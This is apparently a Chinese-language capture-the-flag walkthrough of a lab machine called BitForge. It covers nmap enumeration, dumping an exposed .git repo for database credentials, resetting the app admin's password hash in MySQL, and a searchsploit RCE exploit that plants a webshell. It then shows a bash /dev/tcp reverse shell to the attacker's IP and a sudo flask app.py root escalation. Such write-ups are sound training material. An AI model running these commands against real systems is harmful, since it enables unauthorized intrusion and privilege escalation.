Nmap Result
sudo nmap -p- 10.10.84.87 -T4 -A --min-rate 2000 -Pn -vvv -n
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGT2bbuknyDQCZL8wcewIxfJHCT3ZA9MHovHm5vV8gnY+WaklYD1KkExYX16RT7Du6kDkOd7/VtgT8wyumO7X74=
| 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9T+RtTpSheh2mjfbGIXvNadPVCLuheP1AqmUPx6yic
80/tcp open http syn-ack ttl 61 Apache httpd
| http-git:
| 192.168.109.186:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: created .env to store the database configuration
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://bitforge.lab/
|_http-server-header: Apache
3306/tcp open mysql syn-ack ttl 61 MySQL 8.0.40-0ubuntu0.24.04.1
| mysql-info:
| Protocol: 10
| Version: 8.0.40-0ubuntu0.24.04.1
| Thread ID: 15
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, ODBCClient, Speaks41ProtocolOld, SupportsTransactions, InteractiveClient, Speaks41ProtocolNew, LongColumnFlag, LongPassword, SupportsCompression, SwitchToSSLAfterHandshake, FoundRows, ConnectWithDatabase, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: f%]2H,C:\x1A\x15\x06}FqQ-Q
| 'j
|_ Auth Plugin Name: caching_sha2_password
|_ssl-date: TLS randomness does not represent time
Enumeration
nmap扫描结果显示80/HTTP端口域名为bitforge.lab. 在/etc/hosts中添加解析以访问网页。
sudo vim /etc/hosts
# 添加至最后一行
192.168.249.186 bitforge.lab

在http://bitforge.lab/login.php发现登录入口,尝试弱口令爆破如:admin@bitforge.lab:admin/password等 失败。Employee Planning Portal发现子域名plan, 加入到/etc/hosts中

另外,nmap网站在主目录下有.git文件夹,当网站目录中有.git文件夹时,可以使用gitdumper来提取.git目录下文件:
- gitdumper: 一个从网站里提取github repo的工具
gitdumper提取github repo
./git_dumper.py http://bitforge.lab ~/bitforge/git
打开下载的git文件夹,使用git指令查看commit日志:
cd git
ls -al
total 32
drwxrwxr-x 3 kali kali 4096 Aug 27 16:30 .
drwxrwxr-x 3 kali kali 4096 Aug 27 16:30 ..
-rw-rw-r-- 1 kali kali 0 Aug 27 16:30 .env
drwxrwxr-x 7 kali kali 4096 Aug 27 16:30 .git
-rw-rw-r-- 1 kali kali 9110 Aug 27 16:30 index.php
-rw-rw-r-- 1 kali kali 5440 Aug 27 16:30 login.php
git log -p
...
+$dbName = 'bitforge_customer_db';
+$username = 'BitForgeAdmin';
+$password = 'B1tForG3S0ftw4r3S0lutions';
...
在commit日志中发现数据库登录认证信息 BitForgeAdmin:B1tForG3S0ftw4r3S0lutions
服务器开放3306/mysql端口,尝试以发现的认证信息登录:
mysql -h bitforge.lab -u BitForgeAdmin -pB1tForG3S0ftw4r3S0lutions
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain
提示错误TLS/SSL error: self-signed certificate in certificate chain, 原因为mysql服务端用了自签名证书,mysql客户端检查后认为不受信,随后抛出error。可以加上--ssl=0来忽略ssl验证部分:
mysql -h bitforge.lab -u BitForgeAdmin -pB1tForG3S0ftw4r3S0lutions --ssl=0
MySQL [(none)]> show databases;
+----------------------+
| Database |
+----------------------+
| bitforge_customer_db |
| information_schema |
| performance_schema |
| soplanning |
+----------------------+
4 rows in set (0.130 sec)
MySQL [(none)]> use bitforge_customer_db
Database changed
MySQL [bitforge_customer_db]> show tables;
Empty set (0.107 sec)
MySQL [bitforge_customer_db]> use soplanning
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [soplanning]> show tables;
+----------------------------+
| Tables_in_soplanning |
+----------------------------+
| planning_audit |
| planning_config |
| planning_ferie |
| planning_groupe |
| planning_lieu |
| planning_periode |
| planning_projet |
| planning_projet_user_tarif |
| planning_ressource |
| planning_right_on_user |
| planning_status |
| planning_user |
| planning_user_groupe |
+----------------------------+
13 rows in set (0.082 sec)
MySQL [soplanning]> select * from planning_user
-> ;
+-----------+----------------+---------------+-------+------------------------------------------+-------+------------------+---------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+---------------+---------+-----------+--------+--------+-------------+--------------------+-------------+-------------+------------+---------------------+------------+----------+----------------------+
| user_id | user_groupe_id | nom | login | password | email | visible_planning | couleur | droits | cle | notifications | adresse | telephone | mobile | metier | commentaire | date_dernier_login | preferences | login_actif | google_2fa | date_creation | date_modif | tutoriel | tarif_horaire_defaut |
+-----------+----------------+---------------+-------+------------------------------------------+-------+------------------+---------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+---------------+---------+-----------+--------+--------+-------------+--------------------+-------------+-------------+------------+---------------------+------------+----------+----------------------+
| ADM | NULL | admin | admin | 77ba9273d4bcfa9387ae8652377f4c189e5a47ee | NULL | non | 000000 | ["users_manage_all", "projects_manage_all", "projectgroups_manage_all", "tasks_modify_all", "tasks_view_all_projects", "lieux_all", "ressources_all", "parameters_all", "stats_users", "stats_projects", "audit_restore", "stats_roi_projects"] | dbee8fd60fd4244695084bd84a996882 | oui |
...
在soplanning->planning_user表格下发现用户admin的密码哈希:
77ba9273d4bcfa9387ae8652377f4c189e5a47ee
使用hashid来查看hash类型:
echo '77ba9273d4bcfa9387ae8652377f4c189e5a47ee' | hashid
Analyzing '77ba9273d4bcfa9387ae8652377f4c189e5a47ee'
[+] SHA-1
[+] Double SHA-1
[+] RIPEMD-160
[+] Haval-160
[+] Tiger-160
[+] HAS-160
[+] LinkedIn
[+] Skein-256(160)
[+] Skein-512(160)
可以正常解析出hashtype大概率为sha-1, 尝试用john和rockyou字典暴力破解:
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2025-08-27 16:55) 0g/s 16678Kp/s 16678Kc/s 16678KC/s *7¡Vamos!
Session completed.
破解失败。
Initial Foothold
当有数据库访问权限时,可以尝试是否有权限修改数据库记录。使用CyberChef来生成自定义密码“Password123”的SHA-1 hash: b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1
- CyberChef: 一个很好用的可以在线处理加工字符的网站
尝试修改admin密码记录:
MySQL [soplanning]> UPDATE planning_user SET password='b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1' WHERE user_id='ADM';
Query OK, 1 row affected (0.118 sec)
Rows matched: 1 Changed: 1 Warnings: 0
浏览器访问子域名plan.bitforge.lab, 发现是与数据库对应的app: Simple Online Plannning

尝试使用admin:Password123登录:

登录失败,猜测可能app用的不是SHA-1算法? 在github找到了soplanning的开源项目. 在/includes/class_user.inc 文件下发现密码hash的算法:
401 public function hashPassword($password){
402 return sha1("¤" . $password . "¤");
403 }
用户密码的hash是明文+特殊字符生成的, 尝试把class_user.inc文件下载下来, 本地调用hashPassword方法来生成hash. 为防止复制粘贴时特殊字符出错,我直接在原文件上做修改删除多余部分只留下hashPassword function. 文件内容:
- 复制粘贴会使特殊字符粘贴错误 直接在原文件上做修改
<?php
function hashPassword($password){
return sha1("�" . $password . "�");
}
print(hashPassword('Password123'))
?>
运行文件后得到hash:
php class_user.inc
58222040a9316af9e4a28381bc173aabfdc41c54
在mysql里再次更新密码hash:
UPDATE planning_user SET password='58222040a9316af9e4a28381bc173aabfdc41c54' WHERE user_id='ADM';
Query OK, 1 row affected (0.057 sec)
Rows matched: 1 Changed: 1 Warnings: 0
以admin:Password123尝试登录并成功:

用searchsploit搜索相关漏洞:
searchsploit soplanning
...
SOPlanning 1.52.01 (Simple Online Planning Tool) - Remote Code Execution (RCE) (Authenticated) | php/webapps/52082.py
...
发现52082.py与运行中的版本对应,copy下来, 并尝试运行:
searchsploit -m 52082
python3 52082.py -t http://plan.bitforge.lab/www -u admin -p Password123
[+] Uploaded ===> File 'czi.php' was added to the task !
[+] Exploit completed.
Access webshell here: http://plan.bitforge.lab/www/upload/files/lat3bf/czi.php?cmd=<command>
Do you want an interactive shell? (yes/no) yes
soplaning:~$ whoami
www-data
soplaning:~$
成功获得shell. 输入一些基础指令,发现shell不是TTY shell. 使用Penelope来获取TTY shell.
# kali: 监听80端口
penelope 80
# 靶机: 连接至kali
soplaning:~$ bash -c 'bash -i >& /dev/tcp/192.168.45.225/80 0>&1'
# kali: 获得TTY shell
penelope 80
[+] Listening for reverse shells on 0.0.0.0:80 → 127.0.0.1 • 192.168.58.128 • 172.18.0.1 • 172.17.0.1 • 172.19.0.1 • 192.168.45.225
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from BitForge-192.168.249.186-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/BitForge~192.168.249.186_Linux_x86_64/2025_08_27-20_13_25-453.log 📜
www-data@BitForge:/var/www/plan.bitforge.lab/public_html/www/upload/files/5dk2nb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Penelope: 一个非常好用的reverse shell handler. 可以自动把reverse shell升级为TTY shell, 并可以轻松的上传/下载文件。
Privilege Escalation
在tmp目录下上传pspy,并运行:
(Penelope)─(Session [1])> upload http/pspy64
[+] Upload OK /tmp/pspy64-oioMgGGV
(Penelope)─(Session [1])> sessions 1
─────────────────────────────────────
www-data@BitForge:/tmp$ ./pspy64-oioMgGGV
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
....
2025/08/27 10:23:01 CMD: UID=0 PID=2749 | /bin/sh -c mysqldump -u jack -p'j4cKF0rg3@445' soplanning >> /opt/backup/soplanning_dump.log 2>&1
截取到root用户运行的指令,以及jack的密码j4cKF0rg3@445. 尝试su到用户jack.
www-data@BitForge:/tmp$ su jack
Password:
jack@BitForge:/tmp$ id
uid=1001(jack) gid=1001(jack) groups=1001(jack)
# user flag 在jack home下
sudo -l发现jack可以执行root命令 /usr/bin/flask_password_changer:
sudo -l
Matching Defaults entries for jack on bitforge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !env_reset
User jack may run the following commands on bitforge:
(root) NOPASSWD: /usr/bin/flask_password_changer
查看此文件内容:
jack@BitForge:/usr/bin$ cat /usr/bin/flask_password_changer
#!/bin/bash
cd /opt/password_change_app
/usr/local/bin/flask run --host 127.0.0.1 --port 9000 --no-debug
此binary首先cd到/opt/password_change_app路径,并执行flask run.
- flask是一个linux的轻量级web框架,当执行flask run时, flask会先尝试在环境变量找FLASK_APP变量并运行对应的flask app. 若无环境变量设置,flask则会启动当前目录下的app.py应用。
让我们查看jack用户的环境变量:
SHELL=/bin/bash
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
PWD=/opt/password_change_app
LOGNAME=jack
XDG_SESSION_TYPE=tty
SYSTEMD_EXEC_PID=1261
HOME=/home/jack
APACHE_LOG_DIR=/var/log/apache2
LANG=en_US.UTF-8
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/apache2.service/memory.pressure
INVOCATION_ID=ab372a628faf476a822878aa25993401
APACHE_PID_FILE=/var/run/apache2/apache2.pid
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=jack
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=4
XDG_SESSION_ID=c1
LC_CTYPE=C.UTF-8
XDG_RUNTIME_DIR=/run/user/1001
APACHE_RUN_DIR=/var/run/apache2
JOURNAL_STREAM=8:9775
APACHE_RUN_USER=www-data
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
MAIL=/var/mail/jack
OLDPWD=/
_=/usr/bin/env
并无FLASK_APP设置,则flask run会运行/opt/password_change_app/app.py
jack@BitForge:/$ cd /opt/password_change_app
jack@BitForge:/opt/password_change_app$ ls -al
total 16
drwxr-xr-x 3 jack jack 4096 Jan 16 2025 .
drwxr-xr-x 4 root root 4096 Jan 16 2025 ..
-rw-r--r-- 1 jack jack 134 Jan 16 2025 app.py
drwxr-xr-x 2 jack jack 4096 Jan 16 2025 templates
查看文件权限,用户jack可对文件修改,所以可以修改app.py为恶意程序来获取root权限.
jack@BitForge:/opt/password_change_app# cat app.py
import os
os.system("/bin/bash -p")
jack@BitForge:/opt/password_change_app$ sudo /usr/bin/flask_password_changer
root@BitForge:/opt/password_change_app# id
uid=0(root) gid=0(root) groups=0(root)
Happy Hacking!
Comments NOTHING